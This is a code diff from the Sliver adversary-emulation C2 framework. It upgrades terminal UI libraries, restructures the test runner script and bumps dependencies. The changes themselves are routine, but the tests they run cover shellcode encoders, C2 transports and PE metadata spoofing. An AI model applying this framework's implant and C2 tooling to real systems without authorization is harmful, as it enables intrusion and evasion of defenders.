m.moveUp()
case tea.KeyDown:
m.moveDown()
case tea.KeyRunes:
for _, r := range msg.Runes {
default:
for _, r := range key.Text {
if r < 0 || r > 0xFF {
continue
}
@@ -275,8 +290,8 @@ func (m *editorModel) handleASCIIEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
return m, nil
}
func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
func (m *editorModel) handleNormal(key tea.Key) (tea.Model, tea.Cmd) {
switch key.Code {
case tea.KeyEsc:
m.pending = 0
case tea.KeyLeft:
@@ -287,8 +302,8 @@ func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
m.moveUp()
case tea.KeyDown:
m.moveDown()
case tea.KeyRunes:
for _, r := range msg.Runes {
default:
for _, r := range key.Text {
if m.handleNormalRune(r) {
break
}
@@ -408,13 +423,8 @@ func (m *editorModel) renderLine(lineIndex int) string {
asciiRaw := string(printableByte(byteVal))
isModified := m.isModified(idx)
if idx == m.cursor {
if isModified {
hexCells[i] = modifiedCursorStyle().Render(hexRaw)
asciiCells[i] = modifiedCursorStyle().Render(asciiRaw)
} else {
hexCells[i] = cursorStyle.Render(hexRaw)
asciiCells[i] = cursorStyle.Render(asciiRaw)
}
hexCells[i] = renderCursorCell(hexRaw)
asciiCells[i] = renderCursorCell(asciiRaw)
continue
}
if isModified {
+12 -2
View File
@@ -8,6 +8,7 @@ import (
"strings"
"time"
tea "charm.land/bubbletea/v2"
"github.com/bishopfox/sliver/client/command/filesystem"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
@@ -15,8 +16,9 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/bishopfox/sliver/util/encoders"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/colorprofile"
"github.com/spf13/cobra"
"golang.org/x/term"
"google.golang.org/protobuf/proto"
)
@@ -174,7 +176,15 @@ func HexEditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
func runHexEditor(data []byte, filename string, offset int) (editorResult, error) {
model := newEditorModel(data, filename, offset)
program := tea.NewProgram(model, tea.WithAltScreen())
width, height := 80, 24
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
width, height = w, h
}
program := tea.NewProgram(
model,
tea.WithWindowSize(width, height),
tea.WithColorProfile(colorprofile.TrueColor),
)
finalModel, err := program.Run()
if err != nil {
return editorResult{}, err
+1 -1
View File
@@ -13,6 +13,7 @@ import (
"sync"
"time"
"charm.land/lipgloss/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
clienttheme "github.com/bishopfox/sliver/client/theme"
@@ -21,7 +22,6 @@ import (
"github.com/charmbracelet/bubbles/key"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/huh"
"github.com/charmbracelet/lipgloss"
"github.com/spf13/cobra"
"google.golang.org/grpc/connectivity"
)
+1 -1
View File
@@ -41,7 +41,7 @@ func TestWebsiteRemoveConfirmationPrompt(t *testing.T) {
func TestWebsiteRemoveSuccessMessage(t *testing.T) {
got := websiteRemoveSuccessMessage("test", 2)
want := "removed test and 2 content items"
want := "Removed test and 2 content items"
if got != want {
t.Fatalf("unexpected message: got %q want %q", got, want)
}
+5 -6
View File
@@ -27,12 +27,11 @@ import (
"time"
"github.com/bishopfox/sliver/client/theme"
"github.com/charmbracelet/lipgloss"
)
type promptPalette struct {
Default lipgloss.Color
Mods map[int]lipgloss.Color
Default string
Mods map[int]string
}
type promptColors struct {
@@ -107,11 +106,11 @@ var promptTemplateCache struct {
func toPromptPalette(p theme.Palette) promptPalette {
out := promptPalette{
Default: lipgloss.Color(p.Default),
Mods: map[int]lipgloss.Color{},
Default: p.Default,
Mods: map[int]string{},
}
for k, v := range p.Mods {
out.Mods[k] = lipgloss.Color(v)
out.Mods[k] = v
}
return out
}
+5 -3
View File
@@ -19,8 +19,10 @@ package console
*/
import (
"image/color"
"charm.land/lipgloss/v2"
"github.com/bishopfox/sliver/client/theme"
"github.com/charmbracelet/lipgloss"
)
// TextStyle is the shared styling type for the client/server consoles.
@@ -87,13 +89,13 @@ func init() {
// Note: this is intentionally a "global theme" for the console, since most of
// the existing code expects these styles to be package-level values.
func ApplyTheme(t theme.Theme) {
palette := func(p theme.Palette) lipgloss.Color {
palette := func(p theme.Palette) color.Color {
if p.Default != "" {
return lipgloss.Color(p.Default)
}
return lipgloss.Color("#ffffff")
}
paletteMod := func(p theme.Palette, mod int) lipgloss.Color {
paletteMod := func(p theme.Palette, mod int) color.Color {
if mod != 0 {
if v, ok := p.Mods[mod]; ok && v != "" {
return lipgloss.Color(v)
+26 -9
View File
@@ -12,16 +12,17 @@ import (
func HuhTheme() *huh.Theme {
t := huh.ThemeBase()
border := DefaultMod(300)
text := DefaultMod(900)
dim := DefaultMod(500)
faint := DefaultMod(400)
current := Current()
border := paletteModV1(current.Default, 300)
text := paletteModV1(current.Default, 900)
dim := paletteModV1(current.Default, 500)
faint := paletteModV1(current.Default, 400)
primary := Primary()
accent := Secondary()
primary := paletteColorV1(current.Primary)
accent := paletteColorV1(current.Secondary)
success := Success()
danger := Danger()
success := paletteColorV1(current.Success)
danger := paletteColorV1(current.Danger)
// Focused styles.
t.Focused.Base = t.Focused.Base.BorderForeground(border)
@@ -45,7 +46,7 @@ func HuhTheme() *huh.Theme {
t.Focused.FocusedButton = t.Focused.FocusedButton.Foreground(text).Background(primary)
t.Focused.Next = t.Focused.FocusedButton
t.Focused.BlurredButton = t.Focused.BlurredButton.Foreground(text).Background(lipgloss.Color(DefaultMod(100)))
t.Focused.BlurredButton = t.Focused.BlurredButton.Foreground(text).Background(paletteModV1(current.Default, 100))
t.Focused.TextInput.Cursor = t.Focused.TextInput.Cursor.Foreground(primary)
t.Focused.TextInput.Placeholder = t.Focused.TextInput.Placeholder.Foreground(faint)
@@ -65,3 +66,19 @@ func HuhTheme() *huh.Theme {
return t
}
func paletteColorV1(p Palette) lipgloss.TerminalColor {
if p.Default != "" {
return lipgloss.Color(p.Default)
}
return lipgloss.Color("#ffffff")
}
func paletteModV1(p Palette, mod int) lipgloss.TerminalColor {
if mod != 0 {
if v, ok := p.Mods[mod]; ok && v != "" {
return lipgloss.Color(v)
}
}
return paletteColorV1(p)
}
+16 -15
View File
@@ -2,12 +2,13 @@ package theme
import (
"errors"
"image/color"
"os"
"path/filepath"
"sync"
"charm.land/lipgloss/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/charmbracelet/lipgloss"
"gopkg.in/yaml.v3"
)
@@ -106,7 +107,7 @@ func normalizePalette(p *Palette) {
}
}
func (t Theme) paletteColor(p Palette) lipgloss.Color {
func (t Theme) paletteColor(p Palette) color.Color {
if p.Default != "" {
return lipgloss.Color(p.Default)
}
@@ -114,7 +115,7 @@ func (t Theme) paletteColor(p Palette) lipgloss.Color {
return lipgloss.Color("#ffffff")
}
func (t Theme) paletteMod(p Palette, mod int) lipgloss.Color {
func (t Theme) paletteMod(p Palette, mod int) color.Color {
if mod != 0 {
if v, ok := p.Mods[mod]; ok && v != "" {
return lipgloss.Color(v)
@@ -124,43 +125,43 @@ func (t Theme) paletteMod(p Palette, mod int) lipgloss.Color {
}
// Primary returns the theme primary color.
func Primary() lipgloss.Color { return Current().paletteColor(Current().Primary) }
func PrimaryMod(mod int) lipgloss.Color {
func Primary() color.Color { return Current().paletteColor(Current().Primary) }
func PrimaryMod(mod int) color.Color {
t := Current()
return t.paletteMod(t.Primary, mod)
}
// Secondary returns the theme secondary color.
func Secondary() lipgloss.Color { return Current().paletteColor(Current().Secondary) }
func SecondaryMod(mod int) lipgloss.Color {
func Secondary() color.Color { return Current().paletteColor(Current().Secondary) }
func SecondaryMod(mod int) color.Color {
t := Current()
return t.paletteMod(t.Secondary, mod)
}
// Default returns the theme default/neutral color.
func Default() lipgloss.Color { return Current().paletteColor(Current().Default) }
func DefaultMod(mod int) lipgloss.Color {
func Default() color.Color { return Current().paletteColor(Current().Default) }
func DefaultMod(mod int) color.Color {
t := Current()
return t.paletteMod(t.Default, mod)
}
// Success returns the theme success color.
func Success() lipgloss.Color { return Current().paletteColor(Current().Success) }
func SuccessMod(mod int) lipgloss.Color {
func Success() color.Color { return Current().paletteColor(Current().Success) }
func SuccessMod(mod int) color.Color {
t := Current()
return t.paletteMod(t.Success, mod)
}
// Warning returns the theme warning color.
func Warning() lipgloss.Color { return Current().paletteColor(Current().Warning) }
func WarningMod(mod int) lipgloss.Color {
func Warning() color.Color { return Current().paletteColor(Current().Warning) }
func WarningMod(mod int) color.Color {
t := Current()
return t.paletteMod(t.Warning, mod)
}
// Danger returns the theme danger color.
func Danger() lipgloss.Color { return Current().paletteColor(Current().Danger) }
func DangerMod(mod int) lipgloss.Color {
func Danger() color.Color { return Current().paletteColor(Current().Danger) }
func DangerMod(mod int) color.Color {
t := Current()
return t.paletteMod(t.Danger, mod)
}
+202 -221
View File
@@ -1,6 +1,5 @@
#!/bin/bash
# Sliver Implant Framework
# Copyright (C) 2019 Bishop Fox
@@ -17,11 +16,14 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
set -u
set -o pipefail
SKIP_GENERATE=0
for arg in "$@"; do
if [ "$arg" = "--skip-generate" ]; then
SKIP_GENERATE=1
fi
if [ "$arg" = "--skip-generate" ]; then
SKIP_GENERATE=1
fi
done
echo "----------------------------------------------------------------"
@@ -30,229 +32,208 @@ echo " Recommended to only run on 16+ CPU cores and 32Gb+ RAM"
echo "----------------------------------------------------------------"
TAGS=osusergo,netgo,go_sqlite
TEST_TMP_ROOT="$(mktemp -d)"
if [ ! -d "$TEST_TMP_ROOT" ]; then
echo "Failed to create temporary test root directory" >&2
exit 1
fi
cleanup() {
local status=$?
trap - EXIT INT TERM
# Some long-running tests (notably in server/generate) may still have child
# build processes touching files under the temp root when cleanup starts.
if command -v pkill >/dev/null 2>&1; then
pkill -TERM -P $$ 2>/dev/null || true
pkill -TERM -f "$TEST_TMP_ROOT" 2>/dev/null || true
sleep 1
pkill -KILL -P $$ 2>/dev/null || true
pkill -KILL -f "$TEST_TMP_ROOT" 2>/dev/null || true
fi
wait 2>/dev/null || true
for _ in 1 2 3 4 5; do
rm -rf "$TEST_TMP_ROOT" 2>/dev/null || true
if [ ! -e "$TEST_TMP_ROOT" ]; then
break
fi
sleep 1
done
if [ -e "$TEST_TMP_ROOT" ]; then
echo "WARNING: Failed to fully clean temp dir: $TEST_TMP_ROOT" >&2
fi
exit "$status"
}
trap cleanup EXIT INT TERM
export SLIVER_ROOT_DIR="$TEST_TMP_ROOT/sliver"
export SLIVER_CLIENT_DIR="$TEST_TMP_ROOT/sliver-client"
export SLIVER_CLIENT_ROOT_DIR="$SLIVER_CLIENT_DIR" # legacy compatibility
export HOME="$TEST_TMP_ROOT/home"
export XDG_CONFIG_HOME="$TEST_TMP_ROOT/xdg-config"
export XDG_CACHE_HOME="$TEST_TMP_ROOT/xdg-cache"
export XDG_DATA_HOME="$TEST_TMP_ROOT/xdg-data"
export TMPDIR="$TEST_TMP_ROOT/tmp"
export TMP="$TMPDIR"
export TEMP="$TMPDIR"
export GOCACHE="$TEST_TMP_ROOT/go-cache"
export GOTMPDIR="$TEST_TMP_ROOT/go-tmp"
export GOFLAGS="${GOFLAGS:-} -mod=vendor"
mkdir -p \
"$SLIVER_ROOT_DIR" \
"$SLIVER_CLIENT_DIR" \
"$HOME" \
"$XDG_CONFIG_HOME" \
"$XDG_CACHE_HOME" \
"$XDG_DATA_HOME" \
"$TMPDIR" \
"$GOCACHE" \
"$GOTMPDIR"
export PATH="$SLIVER_ROOT_DIR/go/bin:$PATH"
echo "Using isolated temp directories:"
echo " SLIVER_ROOT_DIR=$SLIVER_ROOT_DIR"
echo " SLIVER_CLIENT_DIR=$SLIVER_CLIENT_DIR"
print_failure_logs() {
cat "$SLIVER_ROOT_DIR/logs/sliver.log" 2>/dev/null || true
}
run_test_cmd() {
local name="$1"
shift
echo
echo "==> $name"
if "$@"; then
return 0
fi
print_failure_logs
return 1
}
should_skip_package() {
local pkg="$1"
local tags="${2:-}"
local go_list_cmd=(go list -e -f '{{if .Error}}{{.Error}}{{end}}')
if [ -n "$tags" ]; then
go_list_cmd+=("-tags=$tags")
fi
go_list_cmd+=("$pkg")
local go_list_error
go_list_error="$("${go_list_cmd[@]}" 2>/dev/null || true)"
if [[ "$go_list_error" == *"build constraints exclude all Go files"* ]]; then
echo
echo "==> Skipping $pkg (unsupported on current platform)"
return 0
fi
return 1
}
collect_test_dirs() {
if command -v rg >/dev/null 2>&1; then
rg --files -g '*_test.go'
else
find client implant server util -type f -name '*_test.go' -print
fi
}
unpack_server_assets() {
if [ -x "./sliver-server" ]; then
if ./sliver-server unpack --force; then
return 0
fi
echo "sliver-server unpack failed, falling back to go run ./server unpack --force"
fi
go run -tags=server,go_sqlite ./server unpack --force
}
run_test_cmd "unpack server assets" unpack_server_assets || exit 1
TEST_DIRS=()
while IFS= read -r test_dir; do
TEST_DIRS+=("$test_dir")
done < <(collect_test_dirs | xargs -n1 dirname | sort -u)
CLIENT_TEST_PKGS=()
IMPLANT_TEST_PKGS=()
SERVER_UTIL_TEST_PKGS=()
for test_dir in "${TEST_DIRS[@]}"; do
pkg="./$test_dir"
case "$pkg" in
./server/c2 | ./server/generate)
# handled separately below
;;
./client/*)
CLIENT_TEST_PKGS+=("$pkg")
;;
./implant/*)
IMPLANT_TEST_PKGS+=("$pkg")
;;
./server/* | ./util*)
SERVER_UTIL_TEST_PKGS+=("$pkg")
;;
esac
done
## Client
# client / command / alias
if go test -tags=client,$TAGS ./client/command/alias ; then
:
else
exit 1
fi
# client / command / extensions
if go test -tags=client,$TAGS ./client/command/extensions ; then
:
else
exit 1
fi
# client / command / generate
if go test -tags=client,$TAGS ./client/command/generate ; then
:
else
exit 1
fi
# client / credentials
if go test -tags=client,$TAGS ./client/credentials ; then
:
else
exit 1
fi
## Util
# util
if go test -tags=server,$TAGS ./util ; then
:
else
exit 1
fi
# util / encoders
if go test -tags=server,$TAGS ./util/encoders/basex ; then
:
else
exit 1
fi
if go test -tags=server,$TAGS ./util/encoders ; then
:
else
exit 1
fi
# util / minisign
if go test -tags=server,$TAGS ./util/minisign ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
for pkg in "${CLIENT_TEST_PKGS[@]}"; do
if should_skip_package "$pkg" "client,$TAGS"; then
continue
fi
run_test_cmd "$pkg" go test -tags="client,$TAGS" "$pkg" || exit 1
done
## Implant
for pkg in "${IMPLANT_TEST_PKGS[@]}"; do
if should_skip_package "$pkg"; then
continue
fi
run_test_cmd "$pkg" go test "$pkg" || exit 1
done
# implant / sliver / extension
if go test ./implant/sliver/extension ; then
:
else
exit 1
fi
## Server + Util
for pkg in "${SERVER_UTIL_TEST_PKGS[@]}"; do
if should_skip_package "$pkg" "server,$TAGS"; then
continue
fi
case "$pkg" in
./server/assets/traffic-encoders | ./server/encoders)
run_test_cmd "$pkg" go test -timeout 10m -tags="server,$TAGS" "$pkg" || exit 1
;;
./server/rpc)
run_test_cmd "$pkg" go test -vet=off -timeout 30m -tags="server,$TAGS" "$pkg" || exit 1
;;
*)
run_test_cmd "$pkg" go test -tags="server,$TAGS" "$pkg" || exit 1
;;
esac
done
# implant / sliver / transports / dnsclient
if go test ./implant/sliver/transports/dnsclient ; then
:
else
exit 1
fi
## Server c2 (unit + e2e)
run_test_cmd "./server/c2" go test -tags="server,$TAGS" ./server/c2 || exit 1
run_test_cmd "./server/c2 (e2e yamux)" go test -tags="server,$TAGS,sliver_e2e" ./server/c2 -run 'Test(MTLS|WG)Yamux_' -count=1 || exit 1
run_test_cmd "./server/c2 (e2e dns)" go test -tags="server,$TAGS,sliver_e2e" ./server/c2 -run 'TestDNS_' -count=1 || exit 1
# implant / sliver / transports / wireguard
if go test ./implant/sliver/transports/wireguard ; then
:
else
exit 1
fi
## Server
# server / assets / traffic encoders
if go test -timeout 10m -tags=server,$TAGS ./server/assets/traffic-encoders ; then
:
else
exit 1
fi
# server / encoders
if go test -timeout 10m -tags=server,$TAGS ./server/encoders ; then
:
else
exit 1
fi
# server / website
if go test -tags=server,$TAGS ./server/website ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / loot
if go test -tags=server,$TAGS ./server/loot ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / certs
if go test -tags=server,$TAGS ./server/certs ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / cryptography
if go test -tags=server,$TAGS ./server/cryptography ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / encoders / shellcode / sgn
if go test -tags=server,$TAGS ./server/encoders/shellcode/sgn ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / encoders / shellcode / arm64
if go test -tags=server,$TAGS ./server/encoders/shellcode/arm64 ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / gogo / goname
if go test -tags=server,$TAGS ./server/gogo/goname ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / gogo
if go test -tags=server,$TAGS ./server/gogo ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / c2
if go test -tags=server,$TAGS ./server/c2 ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / c2 / e2e (mtls + wg + yamux)
SLIVER_ROOT_DIR_E2E="$(mktemp -d)"
if SLIVER_ROOT_DIR="$SLIVER_ROOT_DIR_E2E" go test -tags=server,$TAGS,sliver_e2e ./server/c2 -run 'Test(MTLS|WG)Yamux_' -count=1 ; then
:
else
cat "$SLIVER_ROOT_DIR_E2E/logs/sliver.log" 2>/dev/null || true
rm -rf "$SLIVER_ROOT_DIR_E2E"
exit 1
fi
# server / c2 / e2e (dns)
if SLIVER_ROOT_DIR="$SLIVER_ROOT_DIR_E2E" go test -tags=server,$TAGS,sliver_e2e ./server/c2 -run 'TestDNS_' -count=1 ; then
:
else
cat "$SLIVER_ROOT_DIR_E2E/logs/sliver.log" 2>/dev/null || true
rm -rf "$SLIVER_ROOT_DIR_E2E"
exit 1
fi
rm -rf "$SLIVER_ROOT_DIR_E2E"
# server / configs
if go test -tags=server,$TAGS ./server/configs ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / console
if go test -tags=server,$TAGS ./server/console ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / generate
## Server generate
if [ "$SKIP_GENERATE" -eq 0 ]; then
export GOPROXY=off
if go test -tags=server,$TAGS ./server/generate -timeout 6h ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
export GOPROXY=off
# Generate tests are memory intensive (garble/c-shared cross-builds). Keep
# parallelism conservative by default to avoid OOM kills on smaller systems.
GENERATE_GOMAXPROCS="${SLIVER_GENERATE_GOMAXPROCS:-2}"
GENERATE_GO_P="${SLIVER_GENERATE_GO_P:-1}"
GENERATE_TEST_PARALLEL="${SLIVER_GENERATE_TEST_PARALLEL:-1}"
run_test_cmd "./server/generate" \
env GOMAXPROCS="$GENERATE_GOMAXPROCS" \
go test -timeout 6h -p "$GENERATE_GO_P" -parallel "$GENERATE_TEST_PARALLEL" -tags="server,$TAGS" ./server/generate || exit 1
else
echo "Skipping ./server/generate tests (--skip-generate)"
fi
# server / rpc / spoof metadata
if go test -vet=off -tags=server,$TAGS ./server/rpc -run '^TestGenerateSpoofMetadataAppliesPETimestampOverBufnet$' -count=1 -timeout 30m ; then
:
else
cat ~/.sliver/logs/sliver.log 2>/dev/null || true
exit 1
echo
echo "Skipping ./server/generate tests (--skip-generate)"
fi
+18 -11
View File
@@ -9,6 +9,7 @@ replace github.com/reeflective/readline => github.com/moloch--/readline v0.0.0-2
replace github.com/reeflective/console => github.com/moloch--/console v0.0.0-20260129035459-883dcb25c701
require (
charm.land/lipgloss/v2 v2.0.0
filippo.io/age v1.3.1
github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a
@@ -17,13 +18,14 @@ require (
github.com/SherClockHolmes/webpush-go v1.4.0
github.com/alecthomas/chroma v0.10.0
github.com/alecthomas/chroma/v2 v2.23.1
github.com/charmbracelet/bubbles v0.21.1-0.20250623103423-23b8fd6302d7
github.com/charmbracelet/bubbletea v1.3.10
github.com/charmbracelet/huh v0.8.0
github.com/charmbracelet/huh/spinner v0.0.0-20251215014908-6f7d32faaff3
github.com/charmbracelet/lipgloss v1.1.0
github.com/cheggaaa/pb/v3 v3.1.7
github.com/chromedp/cdproto v0.0.0-20250803210736-d308e07a266d
github.com/chromedp/chromedp v0.14.1
github.com/fatih/color v1.18.0
github.com/glebarez/sqlite v1.11.0
github.com/gofrs/uuid v4.4.0+incompatible
github.com/golang/protobuf v1.5.4
@@ -49,7 +51,7 @@ require (
github.com/sirupsen/logrus v1.9.3
github.com/sliverarmory/beignet v0.0.3
github.com/sliverarmory/malasada v0.0.3
github.com/sliverarmory/wasm-donut v0.0.5
github.com/sliverarmory/wasm-donut v0.0.3
github.com/spf13/cobra v1.10.2
github.com/spf13/pflag v1.0.10
github.com/stretchr/testify v1.11.1
@@ -122,6 +124,10 @@ require (
github.com/caarlos0/go-reddit/v3 v3.0.1 // indirect
github.com/cenkalti/backoff/v4 v4.3.0 // indirect
github.com/cespare/xxhash/v2 v2.3.0 // indirect
github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8 // indirect
github.com/charmbracelet/x/termios v0.1.1 // indirect
github.com/charmbracelet/x/windows v0.2.2 // indirect
github.com/clipperhouse/displaywidth v0.11.0 // indirect
github.com/cncf/xds/go v0.0.0-20251210132809-ee656c7534f5 // indirect
github.com/creachadair/msync v0.7.1 // indirect
github.com/cschomburg/go-pushbullet v0.0.0-20171206132031-67759df45fbb // indirect
@@ -131,6 +137,7 @@ require (
github.com/drswork/go-twitter v0.0.0-20221107160839-dea1b6ed53d7 // indirect
github.com/envoyproxy/go-control-plane/envoy v1.36.0 // indirect
github.com/envoyproxy/protoc-gen-validate v1.3.0 // indirect
github.com/fatih/color v1.18.0 // indirect
github.com/fatih/structs v1.1.0 // indirect
github.com/felixge/httpsnoop v1.0.4 // indirect
github.com/go-jose/go-jose/v4 v4.1.3 // indirect
@@ -204,6 +211,8 @@ require (
)
require (
charm.land/bubbles/v2 v2.0.0
charm.land/bubbletea/v2 v2.0.0
cloud.google.com/go/compute/metadata v0.9.0 // indirect
filippo.io/edwards25519 v1.1.0 // indirect
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
@@ -222,15 +231,13 @@ require (
github.com/carapace-sh/carapace v1.11.0
github.com/carapace-sh/carapace-shlex v1.1.1 // indirect
github.com/catppuccin/go v0.3.0 // indirect
github.com/charmbracelet/bubbles v0.21.1-0.20250623103423-23b8fd6302d7 // indirect
github.com/charmbracelet/bubbletea v1.3.10
github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc // indirect
github.com/charmbracelet/x/ansi v0.10.1
github.com/charmbracelet/x/cellbuf v0.0.13 // indirect
github.com/charmbracelet/colorprofile v0.4.2 // indirect
github.com/charmbracelet/x/ansi v0.11.6
github.com/charmbracelet/x/cellbuf v0.0.15 // indirect
github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0 // indirect
github.com/charmbracelet/x/term v0.2.1 // indirect
github.com/charmbracelet/x/term v0.2.2 // indirect
github.com/chromedp/sysutil v1.1.0 // indirect
github.com/clipperhouse/uax29/v2 v2.2.0 // indirect
github.com/clipperhouse/uax29/v2 v2.7.0 // indirect
github.com/coder/websocket v1.8.14 // indirect
github.com/coreos/go-iptables v0.8.0 // indirect
github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect
@@ -266,13 +273,13 @@ require (
github.com/jinzhu/now v1.1.5 // indirect
github.com/jsimonetti/rtnetlink v1.4.2 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51
github.com/lucasb-eyer/go-colorful v1.2.0 // indirect
github.com/lucasb-eyer/go-colorful v1.3.0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mark3labs/mcp-go v0.43.2
github.com/mattn/go-colorable v0.1.14 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/mattn/go-localereader v0.0.1 // indirect
github.com/mattn/go-runewidth v0.0.19 // indirect
github.com/mattn/go-runewidth v0.0.20 // indirect
github.com/mdlayher/netlink v1.8.0 // indirect
github.com/mdlayher/socket v0.5.1 // indirect
github.com/mitchellh/go-ps v1.0.0 // indirect
+30 -24
View File
@@ -4,6 +4,12 @@ c2sp.org/CCTV/age v0.0.0-20251208015420-e9274a7bdbfd h1:ZLsPO6WdZ5zatV4UfVpr7oAw
c2sp.org/CCTV/age v0.0.0-20251208015420-e9274a7bdbfd/go.mod h1:SrHC2C7r5GkDk8R+NFVzYy/sdj0Ypg9htaPXQq5Cqeo=
cel.dev/expr v0.25.1 h1:1KrZg61W6TWSxuNZ37Xy49ps13NUovb66QLprthtwi4=
cel.dev/expr v0.25.1/go.mod h1:hrXvqGP6G6gyx8UAHSHJ5RGk//1Oj5nXQ2NI02Nrsg4=
charm.land/bubbles/v2 v2.0.0 h1:tE3eK/pHjmtrDiRdoC9uGNLgpopOd8fjhEe31B/ai5s=
charm.land/bubbles/v2 v2.0.0/go.mod h1:rCHoleP2XhU8um45NTuOWBPNVHxnkXKTiZqcclL/qOI=
charm.land/bubbletea/v2 v2.0.0 h1:p0d6CtWyJXJ9GfzMpUUqbP/XUUhhlk06+vCKWmox1wQ=
charm.land/bubbletea/v2 v2.0.0/go.mod h1:3LRff2U4WIYXy7MTxfbAQ+AdfM3D8Xuvz2wbsOD9OHQ=
charm.land/lipgloss/v2 v2.0.0 h1:sd8N/B3x892oiOjFfBQdXBQp3cAkvjGaU5TvVZC3ivo=
charm.land/lipgloss/v2 v2.0.0/go.mod h1:w6SnmsBFBmEFBodiEDurGS/sdUY/u1+v72DqUzc6J14=
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
cloud.google.com/go v0.123.0 h1:2NAUJwPR47q+E35uaJeYoNhuNEM9kM8SjgRgdeOJUSE=
cloud.google.com/go v0.123.0/go.mod h1:xBoMV08QcqUGuPW65Qfm1o9Y4zKZBpGS+7bImXLTAZU=
@@ -144,8 +150,8 @@ github.com/aws/smithy-go v1.24.0 h1:LpilSUItNPFr1eY85RYgTIg5eIEPtvFbskaFcmmIUnk=
github.com/aws/smithy-go v1.24.0/go.mod h1:LEj2LM3rBRQJxPZTB4KuzZkaZYnZPnvgIhb4pu07mx0=
github.com/aymanbagabas/go-osc52/v2 v2.0.1 h1:HwpRHbFMcZLEVr42D4p7XBqjyuxQH5SMiErDT4WkJ2k=
github.com/aymanbagabas/go-osc52/v2 v2.0.1/go.mod h1:uYgXzlJ7ZpABp8OJ+exZzJJhRNQ2ASbcXHWsFqH8hp8=
github.com/aymanbagabas/go-udiff v0.3.1 h1:LV+qyBQ2pqe0u42ZsUEtPiCaUoqgA9gYRDs3vj1nolY=
github.com/aymanbagabas/go-udiff v0.3.1/go.mod h1:G0fsKmG+P6ylD0r6N/KgQD/nWzgfnl8ZBcNLgcbrw8E=
github.com/aymanbagabas/go-udiff v0.4.0 h1:TKnLPh7IbnizJIBKFWa9mKayRUBQ9Kh1BPCk6w2PnYM=
github.com/aymanbagabas/go-udiff v0.4.0/go.mod h1:0L9PGwj20lrtmEMeyw4WKJ/TMyDtvAoK9bf2u/mNo3w=
github.com/bahlo/generic-list-go v0.2.0 h1:5sz/EEAK+ls5wF+NeqDpk5+iNdMDXrh3z3nPnH1Wvgk=
github.com/bahlo/generic-list-go v0.2.0/go.mod h1:2KvAjgMlE5NNynlg/5iLrrCCZ2+5xWbdbCW3pNTGyYg=
github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA=
@@ -176,30 +182,36 @@ github.com/charmbracelet/bubbles v0.21.1-0.20250623103423-23b8fd6302d7 h1:JFgG/x
github.com/charmbracelet/bubbles v0.21.1-0.20250623103423-23b8fd6302d7/go.mod h1:ISC1gtLcVilLOf23wvTfoQuYbW2q0JevFxPfUzZ9Ybw=
github.com/charmbracelet/bubbletea v1.3.10 h1:otUDHWMMzQSB0Pkc87rm691KZ3SWa4KUlvF9nRvCICw=
github.com/charmbracelet/bubbletea v1.3.10/go.mod h1:ORQfo0fk8U+po9VaNvnV95UPWA1BitP1E0N6xJPlHr4=
github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc h1:4pZI35227imm7yK2bGPcfpFEmuY1gc2YSTShr4iJBfs=
github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc/go.mod h1:X4/0JoqgTIPSFcRA/P6INZzIuyqdFY5rm8tb41s9okk=
github.com/charmbracelet/colorprofile v0.4.2 h1:BdSNuMjRbotnxHSfxy+PCSa4xAmz7szw70ktAtWRYrY=
github.com/charmbracelet/colorprofile v0.4.2/go.mod h1:0rTi81QpwDElInthtrQ6Ni7cG0sDtwAd4C4le060fT8=
github.com/charmbracelet/huh v0.8.0 h1:Xz/Pm2h64cXQZn/Jvele4J3r7DDiqFCNIVteYukxDvY=
github.com/charmbracelet/huh v0.8.0/go.mod h1:5YVc+SlZ1IhQALxRPpkGwwEKftN/+OlJlnJYlDRFqN4=
